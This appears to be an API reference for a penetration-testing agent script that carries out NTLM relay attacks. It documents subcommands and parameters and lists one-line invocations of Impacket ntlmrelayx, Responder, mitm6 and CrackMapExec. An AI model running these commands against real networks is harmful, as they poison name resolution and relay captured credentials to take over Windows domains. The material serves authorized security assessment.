<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# exploiting-ntlm-relay-attacks — API Reference

## Agent Script

| Command | Description |
|---------|-------------|
| `enumerate --network <cidr> --dc-ip <ip>` | Find relay targets (SMB/LDAP signing) |
| `capture --interface <iface> --domain <fqdn> --method <m>` | Configure NTLM capture |
| `relay --target <ip> --type <type>` | Configure relay to target service |
| `analyze --network <cidr> --dc-ip <ip>` | Analyze relay results |
| `report --format <fmt>` | Generate assessment report |

## Parameters

| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| `--network` | string | Yes | Target network CIDR |
| `--dc-ip` | string | Yes | Domain controller IP |
| `--interface` | string | Yes (capture) | Network interface |
| `--method` | string | No | Capture: responder, mitm6, petitpotam |
| `--type` | string | No | Relay type: smb, ldap, adcs, rbcd |

## External Tool Reference

| Tool | Command | Purpose |
|------|---------|---------|
| Impacket | `impacket-ntlmrelayx -tf targets.txt` | NTLM relay framework |
| Responder | `responder -I eth0 -wFb` | LLMNR/NBT-NS poisoning |
| mitm6 | `mitm6 -d domain -i eth0` | IPv6 DNS takeover |
| CrackMapExec | `crackmapexec smb --gen-relay-list` | Find unsigned SMB hosts |
